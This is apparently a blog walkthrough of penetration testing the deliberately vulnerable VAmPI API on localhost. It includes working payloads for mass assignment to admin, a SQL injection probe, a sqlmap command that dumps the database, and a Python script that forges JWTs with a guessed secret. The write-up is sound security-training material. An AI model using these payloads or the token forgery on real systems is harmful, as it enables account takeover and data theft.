VAmPI Vulnerable API: A Beginner's Guide to API Security Testing
In this post, I’m walking through my hands-on experience exploring VAmPI, a deliberately vulnerable API designed to simulate real-world security issues based on the OWASP Top 10 for APIs. This project was a learning exercise intended to deepen my understanding of how APIs work, how they can break, and how attackers might exploit them.
VAmPI is a great sandbox for anyone interested in API security. It’s lightweight, self-contained in Docker, and includes common vulnerabilities you’d find in production APIs.
Objectives
The primary goal of this walkthrough was to build a practical foundation in API security testing by working through real vulnerabilities in a controlled environment. Specifically, I aimed to:
What Is an API and Why Does It Matter?
An API (Application Programming Interface) is a set of rules and protocols that allows different software systems to communicate with each other. Think of it as a bridge that lets one application request and exchange data or functionality from another system — whether that’s a database, a service, or another application.
For example, when you log in to a website using your Google account, you’re interacting with Google’s API. The site sends your request, and Google’s API responds with your credentials, profile info, or token, depending on what’s being asked.
Why APIs Matter in Cybersecurity
APIs are everywhere — from mobile apps and web services to IoT devices and enterprise platforms. Because they often expose sensitive functions and data, they’ve become a prime target for attackers.
Some reasons APIs are critical in cybersecurity:
Understanding how to secure APIs is no longer optional — it’s foundational to securing any modern digital environment.
Phase 1: Setting Up VAmPI
Installing Docker and Running the Container
To get started, I launched the VAmPI API using Docker. Here’s the command I used:
sudo docker run -d -e vulnerable=1 -e tokentimetolive=18000 -p 5000:5000 erev0s/vampi:latest
This launched the API in vulnerable mode, extended the JWT token lifetime to five hours, and exposed the service on port 5000.
I confirmed the API was running with:
curl http://localhost:5000
And received a valid JSON response confirming that VAmPI was live and ready to test.
Phase 2: Reconnaissance and Enumeration
Before jumping into testing for vulnerabilities, I began with reconnaissance — the process of discovering what the API exposes to the outside world. This phase is critical for any black-box testing scenario, especially when you don’t have access to the source code or backend infrastructure. In API pentesting, enumeration helps identify which endpoints exist, what data they expose, and how they might be vulnerable to misuse.
Nmap Scanning: Identifying Open Ports and Services
I used Nmap, a widely-used network scanner, to probe the local machine and detect any running services or open ports.
sudo nmap -sC -sV -O -p- localhost
Flags explained:
Why this matters: APIs typically run over HTTP or HTTPS, but they could also be exposing other ports (e.g., for databases or debug interfaces). I wanted to be thorough and rule out any unexpected services running on the system.
Results:
Directory Discovery with ffuf: Finding Hidden or Undocumented Endpoints
Once I confirmed that the API was accessible, I used ffuf (a fast web fuzzer) to brute-force possible endpoint paths. Since APIs don’t always expose a UI or documentation (like Swagger), this method helps enumerate hidden or undocumented routes.
ffuf -u http://localhost:5000/FUZZ -w ~/Desktop/VAmPI/api-directory-lists-custom.txt -mc 200,401,403
Command breakdown:
Why this matters: Many vulnerable or test APIs have routes that aren’t obvious or publicly documented. Using a wordlist that includes RESTful patterns (/login, /register, /users/v1, etc.) increases the chances of discovering such endpoints.
Endpoints discovered:
Each of these became a lead for potential misconfigurations, data exposure, or insecure logic. The next step was to load these into Postman to begin exploring how the API functioned and where security controls could be bypassed.
Phase 3: Interacting with the API via Postman
After identifying VAmPI’s accessible endpoints during the enumeration phase, the next step was to interact with the API using Postman. Postman is an incredibly useful tool for working with RESTful APIs. It allows for clean request building, token management, and testing workflows — all without needing to write scripts.
This phase is about building a baseline understanding of the API’s logic and behavior — how authentication works, what requests are valid, and how the application responds to edge cases.
Importing the API Specification
VAmPI provides an OpenAPI 3.0 specification (openapi3.yml) via its GitHub repository. I used this to generate a structured collection of API calls in Postman.
Steps I followed:
http://localhost:5000
This immediately gave me a full list of endpoints, grouped by resource (users, books, etc.), making it easy to start testing systematically.
Step 1: Seeding the Database
Before diving into functionality, I initialized VAmPI’s database using the /createdb endpoint:
GET /createdb
This populated the system with default users, books, and admin accounts, which were critical for the exploitation steps that followed.
Step 2: Registering a New User
Next, I used the /users/v1/register endpoint to create my own user account:
{
"username": "edward",
"email": "edward@vampi.local",
"password": "hunter2"
}
The API responded with a 201 Created, confirming that the user was successfully registered.
Step 3: Logging In and Capturing a JWT
I then logged in using the /users/v1/login endpoint:t
{
"username": "edward",
"password": "hunter2"
}
The response included a JSON Web Token (JWT):
{
"token": "<jwt_token_here>"
}
This token is critical — it is used to authorize future requests by adding it to the Authorization header:
Authorization: Bearer <jwt_token>
In Postman, I stored this token as an environment variable and set up the Authorization tab to use the Bearer Token type. This allowed me to reuse the token automatically across all authenticated requests.
Step 4: Exploring Authenticated Endpoints
With the token set, I was now able to explore protected endpoints:
This last discovery was alarming — and it confirmed the presence of Excessive Data Exposure. The endpoint was likely left in place for internal testing and never removed from the deployed version.
Step 5: Reviewing the API’s Behavior
During this exploration phase, I observed several things that hinted at deeper vulnerabilities:
At this point, I had a working test environment, an authenticated user, and access to sensitive internal data. The next step was to test the API for logic flaws and security misconfigurations — and that’s exactly what I did in the exploitation phase.
Recommended by LinkedIn
Phase 4: Vulnerability Testing
With a working understanding of the API’s structure and authentication in place, I started actively probing for vulnerabilities. I focused on the OWASP API Top 10 list and used both manual testing and automation tools to identify weak points in VAmPI’s logic, data handling, and authorization controls.
This phase involved crafting requests, altering payloads, and switching tokens — essentially looking for cracks in the API’s assumptions about how it should be used.
1. Excessive Data Exposure — OWASP API #3 — Excessive Data Exposure
Endpoint Tested:
GET /users/v1/_debug
Observation: This endpoint returned a full dump of user data, including:
Why It’s a Problem: This kind of debug endpoint is often left in accidentally after development. In this case, it completely bypassed access control, leaking sensitive information to any authenticated user. It exposed not only personally identifiable information (PII), but also credentials that could be used in other parts of the application.
2. Mass Assignment — OWASP API #6 — Mass Assignment
Test Case: During user registration at:
POST /users/v1/register
I added an extra field that shouldn’t be user-controllable
{
"username": "eviladmin",
"email": "evil@vampi.local",
"password": "rootkit123",
"admin": true
}
Result: The server accepted the payload and created a new user with administrative privileges. There were no safeguards preventing the assignment of sensitive fields like admin.
Why It’s a Problem: The API blindly trusted all fields in the incoming JSON body without whitelisting or filtering. This allowed me to modify internal application state and escalate privileges — a classic Mass Assignment vulnerability.
3. Broken Object Level Authorization (BOLA) — OWASP API #1 — Broken Object Level Authorization
Setup: I created a book entry as edward:
{
"book_title": "BOLA Test",
"secret": "This is my secret book"
}
Then I logged in as a different user and accessed:
GET /books/v1/BOLA%20Test
Result: I was able to read the secret field for a book I didn’t create.
Why It’s a Problem: The API didn’t verify ownership of the resource being requested. Even though the data was tied to a specific user, any authenticated token could access it by simply guessing or scanning book titles.
4. Unauthorized Password Change — OWASP API #5 — Broken Function Level Authorization
Test: Using another user’s JWT (e.g. sam), I attempted to change the password for edward:
PUT /users/v1/edward/password
{
"password": "newpass123"
}
Result: The request succeeded. There were no access checks ensuring that only the rightful user could update their own credentials.
Why It’s a Problem: This exposes every user to account takeover. All that’s needed is a valid JWT — not even an admin token. A malicious user could rotate passwords for all accounts and lock others out.
5. SQL Injection — OWASP API #8 — Injection
Target Endpoint:
GET /users/v1/{username}
Process: I proxied the request through Burp Suite and ran a simple payload test:
GET /users/v1/sam' OR '1'='1
The server responded with a 500 Internal Server Error, suggesting backend SQL processing without proper sanitization.
Follow-Up with sqlmap:
sqlmap -u "http://localhost:5000/users/v1/*edward*" \
--method=GET \
--headers="Authorization: Bearer <jwt>" --dump
Result:
Why It’s a Problem: SQL Injection allows full control over the backend database. In this case, I was able to dump the entire schema and contents of the database with almost no resistance.
At this point in the walkthrough, I had already uncovered several critical vulnerabilities — all without advanced exploitation techniques. Most issues stemmed from missing access controls, insecure design assumptions, or lack of input validation.
Phase 5: Authentication Bypass and Rate Limiting
At this point in the project, I turned my focus to two specific areas that are critical in API security: authentication mechanisms (particularly how JWTs are validated) and the presence (or lack) of rate limiting on login attempts.
These kinds of issues are at the core of the OWASP API Top 10 and often lead to full account compromise if left unaddressed.
JWT Authentication Bypass
VAmPI uses JWTs (JSON Web Tokens) to manage user authentication. When a user logs in, the API returns a token that includes key details such as:
The token is signed using the HS256 algorithm, which relies on a shared secret key between the client and server.
JWTs are formatted like this:
<base64-encoded header>.<base64-encoded payload>.<signature>
After decoding a valid token using fusionauth.io/dev-tools/jwt-decoder, I confirmed the following header structure:
{
"alg": "HS256",
"typ": "JWT"
}
This indicated the use of symmetric (shared-secret) signing. If the secret key was weak or guessable, I could potentially forge a valid token and impersonate any user — including an admin.
Forging a Token as eviladmin
Using Python and the PyJWT library, I wrote a simple script to generate a forged token. I assumed "secret" as the signing key — a common (and insecure) default used in development environments.
import jwt, time
payload = {
"sub": "eviladmin",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}
token = jwt.encode(payload, "secret", algorithm="HS256")
print(token)
I then copied the token and added it to the Authorization header in Postman:
Authorization: Bearer <forged_token>
Testing Forged Token Access — OWASP API #2 — Broken Authentication
Using this forged token, I accessed:
These endpoints responded successfully, even though I had never logged in as eviladmin. The API fully accepted my self-signed token without verifying its legitimacy beyond the signature.
Vulnerability Confirmed: The JWT implementation was insecure due to a weak secret key and insufficient validation of token contents.
Conclusion
This project gave me a practical, in-depth look into API security testing by working hands-on with the VAmPI vulnerable API. What started as a basic exploration into how RESTful APIs are structured quickly evolved into uncovering multiple high-impact vulnerabilities — many of which reflect issues found in real-world systems.
Through this walkthrough, I was able to:
Each step helped reinforce not only how APIs are built and consumed, but also how attackers approach these systems when security is misconfigured or incomplete.
What stood out most is that none of these vulnerabilities required advanced tools or obscure techniques. They all came down to either weak assumptions by the developers or missing security controls that should be foundational to any API-based service.
Why This Matters
APIs are everywhere — from mobile apps to cloud services — and they’re increasingly the primary interface for users, data, and business logic. With that increased exposure comes increased risk. If API security isn’t treated as a first-class priority, attackers can abuse endpoints, escalate privileges, or gain access to entire systems just by sending the right HTTP request.
VAmPI was a perfect environment to explore these weaknesses safely and systematically. It allowed me to practice the OWASP API Top 10 in a controlled setting while building the skills I’ll need to audit or assess real-world APIs moving forward.
#APIsecurity #OWASPTop10 #VAmPI #BugBounty #PenetrationTesting #Cybersecurity #WebAppSecurity #JWT #SQLInjection #BurpSuite #Postman #Docker #EthicalHacking #RedTeam #BugHunting #CTF #PythonSecurity #ffuf #sqlmap #InfoSec #APIhacking #InfosecCommunity #CyberSecLabs #APIPentest #SecurityTesting #OffensiveSecurity #DevSecOps
💻 Cybersecurity Learner / ⚔️ eJPTv2 / 🛡️CWL BTF
3wThanks for sharing, awesome and detailed article. 🧑💻🙌